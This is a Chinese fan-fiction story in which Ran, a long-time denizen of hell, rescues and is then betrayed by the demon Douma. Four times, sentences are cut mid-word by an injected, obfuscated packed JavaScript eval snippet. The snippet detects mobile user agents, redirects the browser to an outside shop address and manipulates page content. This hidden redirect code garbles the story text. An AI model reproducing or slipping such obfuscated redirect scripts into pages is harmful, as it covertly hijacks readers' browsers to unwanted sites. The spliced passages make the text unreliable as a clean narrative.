《童磨大人拯救计划·地狱篇》 1. 染(1) 人类常以“你会下地狱的”作为对仇人最极端的诅咒,这么说的时候,往往是对方犯下了不可饶恕的罪过。古往今来,宗教典籍中从不缺少对地狱的描写,特别是收容生前罪大恶极者的无间地狱,那里界域分明,业火之界四野皆为焦土,时刻灼烧净化罪人的灵魂,纵有河川,其中流淌的也是血水,被称为“焚”的怪物游荡其中,吞噬堕入其间者;死灵之森则深林遍布,无法被业火超度的恶灵盘踞其中,相互杀伐吞噬。更有冰寒地狱和孤独地狱,其恐怖不可名状。堕入此间者,除非赎清罪过,否则百千万年,求出无期。 事实上地狱里的日子也没那么难熬,每天不过是打架斗殴,比人世打的过火一点罢了,毕竟堕入无间者生前多少都有点武力值,又贪嗔痴五毒炽盛,放在一起如同养蛊。人类被砍死会变成鬼,鬼被砍死了就只能变成“聻”——这东西在火之界多的是,状如黑烟,见人,不,见鬼就死死缠住,吸取你的灵力和记忆。此地没有白天,每当血月升起,这东西集结成潮,我称之为“黑潮”,所过之处片甲不留。这倒不必太担心,躲开便是,可怕的是在漫长的、无穷无尽的黑暗与厮杀里,你会渐渐丢失自我,再强大的神魔,被消磨个千百年,能挺住的也不多。 我叫染,堕入无间已有两百年。除了自己的名字,其余一概不知。 对时间还有觉察是不容易的,毕竟这地方没日没夜,连血月升起的间隔都长短不一。但我留意到那条干涸的河道中,每过挺长一段时间就会开出红色的花,花开的时候,“门”就会打开,新的罪人灵魂会掉入这里,这时四周那些饥不择食的“聻”就会一拥而上,试图吞噬来者。吞噬在此处是一种本能,不知道从何时起成了这里的规则。说起来也是讽刺,罪人投入无间,目的本应是赎罪,但这里的惩戒制度导致赎罪之地变成了斗兽场。可能是故意把这些做人时烂到底的渣滓丢在一处自相残杀,最终充当这片土地的养料吧。 也因此,那种红色的花似乎可以富集土地中的灵力。我早早发现了这一点,比起和聻一起争抢灵魂,或者去狩猎那些巨大的钢铁一般的魔物夺取灵核,在河道边连吃带拿这些花的风险要低得多。但每年的花只开一次,再赶上“门”开时,河道边就挤满了聻,黑潮也会伴随着血月如期而至。这就需要一点生存智慧了,怎样把握时间吸取花的灵力,又不被其他狩猎者发现,还能赶在黑潮前全身而退,需要磨练个几十次才能摸到门道,中间死个几次也很正常,掉胳膊掉腿也是常见的事,好在只要灵力不绝,总能再长出来。 今年我的运气不是特别好,聻的数量格外的多,也就意味着黑潮会提前到来。但我在之前和其他狩猎者的厮杀里耽误了太多时间,赶到河边时血月已经升起来了,远方隐隐传来巨大的轰鸣,那是黑潮的潮头。我甚至没顾上在敌人的尸体上蹭干刀上的血,就急急忙忙冲向河边疯狂采花。河道中心的花最多,但那里太过危险,我一般只在河边采摘。红花脱离土地后会很快消失,我研究出一种办法,将它们浓缩成红色的结晶,虽然很小,但足够补充我在战斗中消耗的灵力。 对这片土地,我适应的很好,不知道的会以为我诞生和成长在此,是地狱里的本土生物。人类需要朋友和家人,需要庞大的群体来维系自己的存在,但地狱里的生物不需要,我凭借自己的勤劳和智慧在这里轻车熟路的混了两百年,中间也遇到过一些像我一样的幸存者,但他们往往不能安分的呆在业火之界,不是妄想逃出去而被守“门”的罗刹切块丢到火坑里,就是发了疯被聻吞噬,再或者被其他游荡的狩猎者干掉。我是不同的,我善于躲藏,善于以女子的柔弱外貌迷惑他人,趁其不备再狠狠剁掉他们的脑袋。这归功于我有一把好刀,最初它只是一把小巧精致的好像玩具一样的小刀,上面还刻有花纹,连刀刃都没开,看起来只是个摆设。但当它伴随我一起堕入无间后,常年吸收猎物的鲜血让它长度暴涨,变成了我手臂的一部分,它被杀气打磨的极锋利,且柔韧,对付那些无脑的聻甚至更强大一点的魔兽,也是够用的。 黑潮将近,我甚至闻到了焦炭和烟的气味,手上的动作却不停,我一边疯狂撸花,一边望向河道,紧张的计算自己还能在这里呆多久。 然后我发现,河道里居然有人。 这真是大开眼界!我在这地方蹲了这么久,从没见过哪个倒霉蛋敢在血月升起时迎着黑潮站在河道里,怕是不知道被万千鬼聻吞噬是什么滋味!我目瞪口呆,不自觉地站起来想一睹究竟。 仔细看了一眼,我更傻眼了。这是哪里来的一尊菩萨?看那一身仙风道骨的黑色法袍,那端端正正还带着飘带的冠冕,那在血月的黯淡光晕里居然显得纯白无暇的飘逸长发,这不知道是人是鬼还是神的家伙就那么淡定的站在三途河的河道里,悠闲的好像在赏月?? 赏月??在地狱里??? 我感觉自己的脸都抽搐了,一个没留神,手里的刀就掉了。 糟糕。 我迅速蹲下身,对方似乎注意到了我这边的动静,于是也朝我的方向看过来。啊,那怎么可能看到呢,毕竟我是地狱里的老住户了,我早就知道怎么把自己隐藏在石头和焦土形成的土坡后。然而很奇怪,奇怪的很,那个不知道是什么的玩意儿歪着头盯了我这边好一会儿。那双眼睛,怎么说呢,怎么都看起来不太正常。 的确不太正常,你见过长着一对七彩眼睛的活物吗?? 确切的说,是一双像透明的琉璃一样、折射着虹色光华的眼睛,即便在血月的笼罩里,那双奇特的眼里却没有染上一丝血色,而更接近某种无机质,像是冰晶,或是水晶之类。 我绷紧了身体,尽量让自己蛰伏。那样一双美到不真实的眼睛,却让我感到头皮发麻。多年的战斗经验告诉我,这个东西不正常,绝对不正常,黑潮马上就要到了,我还是拿好自己的收获,赶快跑路要紧。 还好,对方转过了头,似乎没有再注意我的方向。我猫着腰准备溜走,走出几步又忍不住回头看了一眼。 糟糕,糟糕。 河道里的泥土开始涌动,那是“焚”,一种长有触手的魔物,大概是受到黑潮影响,也可能发现猎物近在咫尺,它开始蠢蠢欲动。而河道里的那个人似乎毫无察觉,他认真地……在看月亮。 懂了,我懂了。这要么是个一无所知的新鬼,要么是个疯子。 若说是新来的鬼,身上却没有恶鬼常有的戾气。这两百年来,我在无间地狱见的人和鬼可谓数不胜数,哪个不是有一肚子怨气和滔天的恨意,恨自己死的凄惨,还有未竟的愿望,还有未能战胜的对手。这块土地就是依靠这些怨怼为养分,越是嗔恨,越是被吸收的一干二净。又或是,身陨命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252278|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终,忽然堕入此间,慌乱恐惧也是免不了的,多数糊里糊涂就成了聻的粮食。我在此处多年,对这些新人,不,新鬼的不幸境遇可谓一清二楚。唉,死都死了,还要受这种折磨,也是可怜。 但我第一次见到有鬼在这么恶劣的环境里,还能气定神闲,嘴角似乎还挂着一丝笑,好像呆在自家后花园一样怡然自得。 这是有什么毛病?如果是个疯子,也太可怜了。 来不及吐槽了,我看见“焚“的触角已经向那只鬼的背后伸去。身体在我的大脑发出阻止的信号前就窜了出去。手起刀落,我砍掉魔物暴起的触手,左手带起一大片青色的水幕,勉强挡住了剩下的触手。 啊,忘了说,我业余会点法术,能力嘛,是暂时将灵力转换成水。 这是我堕入这里后发现的能力,但并没有什么卵用。业火之界是无间地狱里最干燥的地方,灵力转化成水格外费力。所以我不爱用这招。但应付“焚”这种没有固定形体的魔物时,我的水结界多少能以柔克刚,挡个一小会儿。 趁这一会儿工夫,我一把抓住那只神经病鬼的袍子,拽着他往河道外扑了出去。 贴近一上手我就知道,又错了。 这货比看起来的沉,而且……怎么比我高这么多?! 结果是落地后我在河岸上摔了个狗吃屎,那只高个子的鬼似乎被我拽了个趔趄,但居然稳稳的站住了。 我跳起来冲他大吼:“愣着干嘛?跑啊!” 说完我就窜了出去。 黑潮滚滚而来,其中充斥着万鬼齐哭的悲鸣,令人牙酸。 不知道跑了多久,我停下来,发现自己已经身处森林的边缘。说是森林,其实只是一片烧焦的树干组成的丘陵地带,这里魔物众多,但好在没有太过强横的,我还能应付得来。吐了口气,我开始检查自己的装备,刀还挂在腰上,装红花晶体的小袋子却不见了,只留下一节断掉的绳子。 啊啊,我一年的口粮!果然做好事没有好报! 正在欲哭无泪时,一个颇为柔和动听的声音在我耳边说:“呐,你是在找这个嘛?” 我身体一缩,抽刀回头就砍。 这是正常的生理反应。在这个地方,能悄无声息贴近你后脖子说话的东西,往往能要你的命。 虽然我早就已经没命了,但这里住起来也还算习惯,暂时不想灰飞烟灭。 居然没中,对方擦着我的刀尖后退了几步,嘴角一勾,露出一脸人畜无害的和善微笑。 我的口粮袋子挂在他修长的手指上,悠悠打了个旋儿。 我懒得跟这只可能脑子有病的鬼废话,横刀欺身向前,连砍带刺。谁知道这鬼看起来虽然不太正常,身手却滑的像条泥鳅,速度也奇快。几次砍不中,我站定在原地,冷冷的用刀尖指着他那张笑容可鞠的脸。 “还给我。否则宰了你。” “啊,真是的,可爱的女孩子都这么凶吗?”鬼一脸无辜的眨了眨他那双漂亮的眼睛,“我可是发现你丢了东西,特意捡起来想要还给你的好人呐。” 我咬了咬后槽牙,感觉事情有点棘手。 这鬼看起来一脸天真纯善的笑意,声音也十分温和好听。但这不正常,很不正常。 这里可是无间地狱,我还没见过如此冷静的、能在地狱里笑出来的鬼。 2. 染(2) 那个问题又浮现在我脑子里——这是个什么东西? 鬼吗?看起来不太像。难道是神灵或者魔物? 这不是什么稀奇事,无间地狱对所有背负沉重罪孽的罪人敞开大门,堕落的神灵虽然罕见,听说也不是完全没有。 我向前踏了一步,准备拼一把。 对方丝毫没有生气,反而笑眯眯的举起双手作投降状。 “这位小姐,我没有任何敌意哦。而且据我所知,我已经死啦。这里就是地狱吧?刚刚真是凶险万分呢,多亏你救了我!啊,你的东西我放在这里了,如此善良的拯救不认识的路人,你真是个好人呢!” 他把手中的小袋子放在旁边的树桩上,又后退了两步,歪歪头示意我可以拿走。 我一边紧盯着他,一边伸手迅速将袋子抓在手里,心里稍微松了口气。 就是个新来的鬼,没有想的那么可怕。 收刀,我转身就走。 “诶,请等一下,我有个不错的提议哦,要不要听听看?” 见鬼了,哪个要听一只神经病鬼说什么提议?这人不会傻到以为能靠油嘴滑舌来诳住我吧? 事实证明我又错了。 当我不理不睬的走出十几步,那只鬼,他,他,他居然哭了! 虽然长得很好看,但好歹也是个那么高的大男人,不,男鬼,居然站在原地,拿袖子捂着脸,像个被人抛弃的孩子一样,哭的无比凄惨可怜。 真是活久见! 我目瞪口呆的望着他,脑子一片空白。这也太离谱了,好像我对他做了什么过分的事一样!但是可是,我到底做了什么过分的事吗?? 我张了张嘴,最终还是没忍住心里那句憋了很久的话: “你…是不是脑子不太好?” 鬼抬起一双七彩大眼睛,眼里满是晶莹的泪水,顺着线条优美的下颌一滴滴往下掉。 “啊…真是抱歉,一时忍不住就…” 他抽了抽鼻子,好像哽咽的说不下去了。 啧,还真是没办法,是个脑子不好的鬼呢。 我走了过去,但保险起见,还是在离他一米远的地方站定,手握住刀柄。 “别哭了,死都已经死了,还有什么放不下的?” 不说还好,话一出口,鬼哭的更伤心了。 “居然就这么死了,真是太悲惨了…我喜欢的女孩子也没跟我一起,一想到她可能遭遇到的危险,就实在是心痛啊…” 原来是和家人走散了啊。也难怪,下地狱还能想带谁带谁?命运织成的红线,在死亡到来的一刻,就早已断了。 这里的灵魂没有过去,也没有未来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252279|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 我叹了口气。 “抱歉,你刚刚说有什么提议来着?” 鬼抬起头,擦擦眼泪,重新露出温和友善的笑容。 “你可真是一位善良的女孩子。如你所见,我初来乍到,对这里一无所知,你能帮我找到我的家人吗?” 虽然有点不忍心打破他的幻想,我还是摇了摇头:“这里是什么地方?你以为走丢了的人,其实是去了别的界域,地狱有好多层呢,无间已经是最深的地方之一了。和你走散的人,其实是无缘再见的。” 完蛋,鬼的七彩大眼睛里又迅速盈满了泪水。 要不要这么夸张啊,一个男人诶! “……不过也说不准啦。你先不要哭了,血月的时候外面很不安全。你…先跟我走吧。但说好了,我只留你一夜哦。” 话一说完,我就后悔了。因为那只鬼的脸上扬起了格外灿烂的笑意,甚至露出了两颗有点可爱的、尖尖的虎牙。 “你果然是我见过的最好心的女孩子!我叫童磨,你呢?可爱的小姐?” 怎么就到了交换名字这一步啊?我晕头转向的想,这一晚的遭遇太离奇了! “我是染。” “太好了,染小姐,多谢你的收留。”鬼热情地说,“盛情难却,我们这就走吧。” 诶? 3. 冰之鬼(1) 我叫染,堕入无间已有两百年。血月的那天夜里,我在三途河畔捡到了一只叫童磨的鬼。 这纯属是个意外。我甚至不太确定他是不是鬼。 也不知道为什么就把他捡回家了。 但我还是保持着起码的警觉,一路上默默用灵力观察着他。这家伙身材很高,虽然穿着一身奇奇怪怪的袍子,刚刚过招时却相当灵活,应该是惯于战斗的老手。但并没感受到灵力的波动,看来确实是新死的鬼,还不懂怎么吸取和转化灵力。 说起来,好像在哪见过他这身打扮……大概是庙里的菩萨像? 等等,什么庙? 我捶了捶脑袋。血月果然让人头脑混乱,一些不知道几百年前的陈芝麻烂谷子也会借机出来闹一闹。走到家门口,我把结界打开一点,示意那只鬼进去。 鬼好奇的看着我手指间流转的光芒,赞叹道:“好漂亮哦!小染你…不是人类吧?” 无间地狱的狩猎者之间最忌讳问名字、族类这些私人信息,毕竟谁都不想让可能的敌人知晓自己的特长和弱点。 我皱了皱眉。 怎么就是“小染”了?这鬼也太不拿自己当外人了吧! 没理他,我挥手点燃了屋里的灯火。小屋并不大,以枯死的树枝和树干造就。没有床那种东西,往常又不需要睡觉。我在窗前铺了一张草编的席子,权当做欣赏景色之用。 如果窗外嶙峋的山峦和诡异的血月也算景色的话。 我坐在桌子前,从小袋子里倒出今天的收获,红花的晶体,一五一十数起来。 啧啧,才两百来颗,今年要省着点吃了。拈了一颗到嘴里,我抬头看到那只名字有点奇怪的鬼在上下打量我的屋子,露出一脸同情的样子。 “好简朴啊,这种地方也能住吗?” ……这人,呸,这鬼怎么说话的? 他很快被我桌子上的红色结晶吸引了注意力,一点都不客气的凑了过来。 “有什么好看的?” 我谨慎的把结晶收好。 鬼好像发现了什么新奇的好玩意一样,很感兴趣地说: “是那种花吧?你靠吃这个维持力量吗?” “你怎么看出来的?!”我震惊的说。 果然,那种被什么危险生物盯着的异样感又来了。 “我也不知道。”他摊摊手,“但我感觉一向很敏锐哦。还有你手上的那种法术,嗯…是水吧?我对水的力量很熟悉哦。” 啧,真是只聪明的鬼!就这么短短一会儿工夫,就看破了吗? 但是,想套我话,也太天真了! “跟你没关系的事最好少问。”我没好气的说,“我说了,只留你一晚。” “小染好冷淡啊!”鬼的表情又变得无辜起来,“我只是恰好对类似的东西有所了解而已,大概只是可悲的亡者的生前记忆罢了。毕竟,我这个人最大的长处,就是记性很好。” 记忆…吗? “那有什么用呢?”我语带讥讽,“堕入地狱的鬼,哪个还没点儿不甘?我劝你还是趁早放下的好,今天那种黑烟你看到了没?那个叫聻,你越是心怀怨恨,越是会被它们发现和纠缠,到时候你就完了。” “原来如此!”鬼恍然大悟的说道,“一些血鬼术也是同样的道理。果然不论在什么地方,有些规则是相通的呢!” 什么术? 我转过头看着他,忍不住问:“什么规则?” “比如你必须吃掉一些东西,才能增强自己的力量,因为这些被你吃掉的东西都是宝贵的营养,也会改变你的体质,甚至改变你的肌肉,骨骼,心脏和血液,越是能很好的融合和转化外来的东西,越能让你更适应环境哦。”鬼兴致勃勃的说。 “血鬼术也好,之前我遇到那些孩子的什么呼吸法也好,其实都是让身体完成某种转化,转化成功的,才可以活下去哦。在这个基础上,能够充分掌握转化后的力量,用来强化自己某一方面的特质,就变得很厉害啦!” 好像是有点道理的样子。 “能把那些花提炼成实体,说明你可以将它们的力量转换成其他的东西。”鬼看起来相当好奇:“真是太厉害了,小染是怎么做到的呢?” “那其实是……” 不对,差点上当! 我微微一笑:“我可以告诉你,但你也要回答我一个问题。” 鬼眨眨眼睛,一脸真诚的笑容。 “当然,小染想问什么?我都可以回答你。” “你,究竟是什么人?” 我收起笑脸,一字一顿地说。 在血月门开之时出现在三途河畔,不仅没有立刻被“聻”吞噬,还站在黑潮到来前的河道里悠闲赏月的鬼。 明明已经死去且堕入无间,却毫无悲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252280|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤怨恨,如此平静甚至冷静的鬼。 甚至不似一般鬼物那样飘渺,会哭会笑,实体完美无缺的鬼。 究竟是什么? “我当是什么问题呢。”鬼真挚的笑意一丝未减,“我,是神之子哦。” ??? ??? 我一时语塞,聊得太投入,居然忘了这只鬼脑子不太正常这件事。 揉揉额角,我不由得露出一丝苦笑:“好吧,那你说说看,神是什么样子的?” “神是不会在人面前显现的哦,但神创造了极乐净土,所有的好孩子都可以去。”鬼笑嘻嘻地说:“我曾经送了很多孩子到那里去,都是漂亮可爱的女孩子,像小染你这样的女孩子哦。” 一只鬼怎么送人去极乐? “我明白了,你杀过很多人,特别是女孩子。”我忍不住笑起来,“这就是你下地狱的原因吧。” “诶呀,这话太让我伤心了。”名为童磨的鬼立刻换上了悲伤的表情,“我真的有在认真工作哦。因为战争被杀掉全家的女孩子,因为贫穷被卖到游郭、最后生了病只能等死的女孩子,结了婚却被丈夫和婆婆虐待,被打到眼睛失明的女孩子……毕竟活着是那么辛苦的事,早点前往极乐有什么不好呢?” 很神奇的一套逻辑。 人都有自己一套自洽的逻辑,作为自己存在于世上的理由,朋友、家人、爱人往往是普通人选择的理由,理想是狂人选择的理由,宗教是信徒选择的理由。 救赎,是他所选择的理由吗? 我忍不住出言挖苦:“那么你呢,做了这么多善事的你,为什么到这里来了?” 名为童磨的鬼,笑容中第一次流露出一丝尴尬,如果那可以称之为尴尬,而不是别的什么东西的话。 “因为太无趣了嘛。”他居然似乎在认真思考,“战斗太无趣了,同僚们也都很无趣,连送人去极乐也变得无趣了。活了两百多年,有点累了呢,想偷个懒。但果然,果然啊!” 咦,他怎么又兴奋起来了? “下地狱果然是很有趣的事!曾经以为根本不存在的地方,居然真的存在,而且是完全,完全不用遵从常理的地方!” 那双如琉璃般华美的眼睛里竟然闪耀着极其异样的光芒,那是名为疯狂的颜色。 “这难道不是对作为神之子而一直努力工作的我,最好的奖赏嘛?” 4. 冰之鬼(2) 我是染,这是我在地狱度过的第200年。 两天前,我在三途河畔捡到了一只鬼。 不,那不是鬼,而是一头怪物,甚至是比怪物更可怕的东西。 在生存本能的警铃大作之后,我决定想办法摆脱他。 为了维护我平静安稳的小日子,我必须这么做。这么个危险人物留在身边,哪天就会被他背刺也说不定。 这两天中,这只叫童磨的鬼倒是表现的很正常。按照先前的约定,我向他展现了我的法术,只是小小的露了一手,一则我希望在这个难以捉摸的家伙面前尽量隐藏能力,二则我自信靠手中的刀和高超的隐藏技术就能保护自己,水的力量在这块焦土之地显得太过柔弱,他就算学会了也没用。 但在看到我将水流凝结成水幕,以及分散成大小不一的水柱这些小把戏后,那只鬼立刻开心的像个见到糖果的小孩。 “太厉害了,小染真是个有天赋的女孩子呀!”他拍手道:“来到这里遇到的第一个人是你,我的运气真是太棒了!” 我被夸的多少有那么一点不好意思。 他不知道我马上要送他去见巡路罗刹。 是的,在这块土地上,还是有类似神灵的东西存在的。 确切来说,是维护无间地狱秩序的存在,类似于守卫。毕竟堕入这块险恶之地的都是大奸大恶之徒,死了还不安分的家伙有的是,这就需要一些存在来加以管束。确切来说,是将有罪者的灵体完全打碎。 因为在这里住了有些日子,我有幸知道巡路罗刹会在哪些地方出没,平日里我都会有意避开那些地方,毕竟那些钢筋铁骨、听说体内流淌的都是铁水的守卫,是不认人的,所到之处,只会将出现在周围的鬼怪尽数灭杀。 但那只新来的鬼不知道。所以当我以“趁着血月没有结束,去采更多的红花做粮食”作为借口,邀请他一同出行时,他很是欣然的接受了。 “啊,我真是太感动了!活了这么久,还是第一次被朋友邀请一起出去玩呢!”鬼一副泫然欲泣的表情,“有小染这么好的朋友,是多么幸福啊!” “不是吧,你都没有朋友吗?”我哑然,“到了来地狱里交朋友的地步?” 鬼摆摆手,笑眯眯地说:“怎么会,我有很多好朋友哦,大家都很喜欢我。只是平时工作太忙,没有时间一起玩乐呀。虽然偶尔也会有些小矛盾,但大家都是很和善的人,很好相处的。啊,也不知道他们现在都怎么样了……” 我默默翻个白眼,继续往前方荒芜的旷野走去。 “说起来,小染没有发现吗?在月亮升起来的那个方向,有些不同寻常的东西哦。” 跟在我身后的鬼突然这样说道。 我的注意力都在用来观察巡路罗刹可能出现的迹象,于是随口应付道:“什么东西?” “只是感觉啦,那种黑色的潮水一样的东西来自那个方向,而月亮看起来更像某种东西的投影。小染没有想过吗?为什么红色的月亮会让那些聻兴奋呢?” 我停下脚步,回头看着他:“你想说什么?” 童磨歪歪头,挂上一个大大的笑容。 “黑潮是被某种东西控制的哟。我见过类似的血鬼术,曾经的那位大人,啊,现在终于可以直呼他的名字了,”他似乎对此非常开心,“无惨大人,是通过鬼血来制造和控制手下的鬼,连我们这些上弦也无法摆脱,虽然这么说很是不敬,但那真是令人厌烦的血鬼术呢。” “所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252281|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我想,在那个方向上,应该有类似的东西存在,如果能掌握那种力量,说不定会发生好玩的事情哦。” 不愧是你啊,疯子。 我心中感叹道。嘴上却不得不拒绝这种魔鬼言论: “想去的话你自己去,我可不要在这里闹事,地狱里厉害的存在多了,我还不想这么早死。” 没想到那只鬼噗嗤笑出了声。 “在说什么傻话,小染你早就死了吧。在这里呆了这么久,难道不会觉得无聊吗?要不要跟我合作呢?你就一点也不好奇自己的过去吗?呐,我以前有一位朋友,也是不小心丢失了记忆,只想一味的追求强大,就那样被无惨大人玩弄了好久,说起来真是好可怜,太可怜了……” 我不想再理会他那再明显不过的煽动,这男人,啊不,这个叫童磨的怪物,比稻荷神社的狐狸还要狡猾,还是赶快摆脱他最重要。“好啊,等我存够了花,再考虑你说的这件事。你快点跟上,别再那么多话了。” “可是小染,”鬼笑嘻嘻的说,“那边并没有花哦。” “你怎么知……” 我感到背后传来一丝莫名的凉意,停住了脚步,握紧刀柄缓缓转身。 “我说过,我的感觉是很敏锐的。”童磨依然保持着一脸无忧无虑的笑容,“不仅那边,这片区域整个都没有花哦,离河道也已经很远了吧。小染是想带我去哪里玩呢?” 这就有点尴尬了。 还好这尴尬没有持续太久。我望着从他身后的虚空中现身的、如同钢铁巨人一般的巡路罗刹,强行冲他笑了笑。 “抱歉,再见了。” 下一秒那只倒霉的鬼就被打飞了出去。 我呼出一口气,开始全力逃跑。 5. 冰之鬼(3) 大地震颤着裂开巨大的缝隙,血色的液体从缝隙处汩汩流出,伴随着仿佛地底深处传来的低沉咆哮,一头像小山一样的犬形巨兽在距离我不到一百米的地方拱出地表。 啊,倒霉,真倒霉。 竟然来了两只。 我欲哭无泪。我这样的小人物,实在不值得无间地狱的守卫这样大动干戈啊。 自从遇到那只鬼,好像我的运气突然变坏了很多。 连今年的红花收成都比往年的差。那男人沉稳柔和的声音也极具蛊惑性,害我脑子都混乱了,还有那种好像被什么奇怪东西盯着的、令人头皮发麻的感觉。啊啊,真是要命了。 为什么会有两只,两只啊! 我只是在地狱里苟且偷生的、默默无闻的一只鬼。 甚至记不起自己犯下了何等重罪,就堕入了此间,两百年间也从没离开过这里,一直安分守己。 到底为什么会遇到这种事啊啊啊! 我一边借地势全力奔逃,一边从袋子里抓了一把红花晶体塞进嘴里。 灵光乍起,我两肋和背后各生出一对透明的青绿色薄翼,像是鱼类的鳍,振动之下,带着我的身体轻盈地升上了半空,在犬形罗刹的巨口前疾掠而过。 这种时候不放大招还等什么?当然是…快跑啊!! 但还是慢了一步,鬼知道那玩意儿怎么那么快,只听身后一声低吼,一阵劲风便朝我压了下来。 居然想拍我!我是无辜的啊! 我凭空扭了半圈,正对上那只扑面而来的巨大兽爪。 “沧龙,起!” 我左手划过虚空,厉声喝道。 如同天河倒灌,浊浪翻滚,虚空中一道水墙拔地而起。 虽然完全阻滞了那巨犬的身形,但它一爪子拍了上来,我就有种想吐血的冲动。 啊,果然不行。 水的力量太过柔弱,在这种级别的存在面前就是白给。 还能怎么办,只能奋力顶住,否则大概要像那只倒霉鬼一样被吞掉了。 混乱中白光闪过,仿佛什么东西劈开了大脑,耳畔响起无数人的尖叫声,奔跑声,房屋垮塌的声音,以及连绵不断的诵经祈祷声。 “荒川之主啊…请怜悯我等……” “荒川之主啊…请收下我等的供奉…” 开大就是有这种副作用。我咬牙捂住了脑袋。 不要,不要再祈祷。 求你们,不要再说了。 巨犬罗刹发出一声低沉的怒吼,大概因为没想到我会如此顽抗,它身上涌出了大量岩浆一般的液体,加著在我水墙上的压力也增加了一倍。 啊,好痛苦。 我产生了窒息的幻觉,仿佛自己正沉入深深的水底。 脑海深处有个幼小的声音在无助的哭泣。 有没有人啊,谁来救救我…… 头顶的水波中折射出无数人脸,他们在笑,在敲木鱼,在诵经,在祈祷。 荒川之主,怜悯我等。 荒川之主,护佑我等。 但没有一个人看到我,没有一个人,看到正缓缓沉入水底的我。 水面逐渐远去,四周安静的只剩下气泡声。 果然,还是…不行呢。 然而就在我完全陷入昏睡的前一秒,眼前突然刺入了夺目的白光。好像突然有人拨开了我头顶的水面,紧接着,一双七彩琉璃般绚烂的眼睛进入了我模糊的视线。 “哇啊,这是怎么了呀?不会就这么输了吧?” 一张笑的相当不怀好意的脸出现在我的视野里。 呃,这是什么情况? 我脑子变得清醒起来,一瞬间打了个寒颤。 这家伙没死? 从巡路罗刹的嘴里逃出来了?怎么可能!我明明看到他被打飞了啊! 我过于惊愕地盯着眼前的男人。 那身颇具宗教色彩的法袍和冠冕已经不知所踪,这只奇特而美丽的鬼,正挟着我站立于水墙之上,白发上泛起着诡异的雪色光泽,如同覆了一层冰。 等等,为什么可以站在这里? 我惊悚的发现脚下的水墙居然冻住了,变成了一面冰墙,在我们面前立起了一座更加高大的、满是尖刺的冰墙,厚到我只能看清犬形罗刹被无数根冰刺洞穿的身体。它显然没死,一声声咆哮令天地失色。 更加惊悚的是我发现自己的右手被那只鬼握在手里,手腕处少了一大块… “啊啊啊!”我尖叫起来,“你干嘛!放开我!” 鬼的力气比看起来的更为惊人,我竟然一时无法从他的怀中挣脱。 太可怕了,真是太可怕了! “不要叫啊,我不会伤害小染的。”他贪婪地舔了舔唇角的血,却笑的极为温柔:“我是个非常非常善良的人,所以即使你想让这东西杀了我,我也不会怪你哦。” “但是,小染也要付出一点代价嘛,之后我们就扯平了,我是个宽宏大量的人,不会跟可爱的女孩子计较的。” 咔嚓。 我听到骨骼断裂的声音。 诶?那是我的手吗?在他嘴里? 我眼睁睁看着那只鬼或者不知道是什么的东西饱含深情的,认认真真的,啃噬了我的右手,末了,还意犹未尽的舔舐着鲜艳欲滴的嘴唇。 “本来之前想过,再也不会乱吃东西了,虽然中毒的感觉很有趣,死掉的过程也很有趣……” 他转过头,竟然俯下身凑在我脖颈边深深吸了一口气。“但果然还是不行,小染闻起来太香了呀,比我见过的女孩子都要香,好像是水里的花,或是别的什么…呵呵,我最喜欢莲花了。但不要害怕哦,我不会吃掉你的,毕竟一下吃掉就没有了呢,啊,想想就好幸福,也好折磨人啊!” 阎魔大王啊,救救我。 我欲哭无泪地看着他握住我断掉的手腕,再次依依不舍地舔了舔。 “呐,待会儿再来安慰可爱的小染,现在嘛,是工作时间了。” 男人放开了我的身体,还在我头上拍了拍。然后像一只身形优美的豹一样伸了个懒腰,修长的双手一翻,两道亮烈的金光闪现在陡然降临的漫天风雪里。 扇子?那是两把金属制成的扇子吗? 罗刹怒吼一声,只听轰然巨响后,困住它的冰墙炸裂成无数碎片。 名为童磨的恶鬼微微一笑,两把金光闪耀的扇子挥洒出舞蹈般优雅的弧线。 于是那些炸开的冰墙碎片仿佛拥有生命一般悬浮在半空,散发出利刃般凛冽的寒光! “血鬼术·散莲华!” 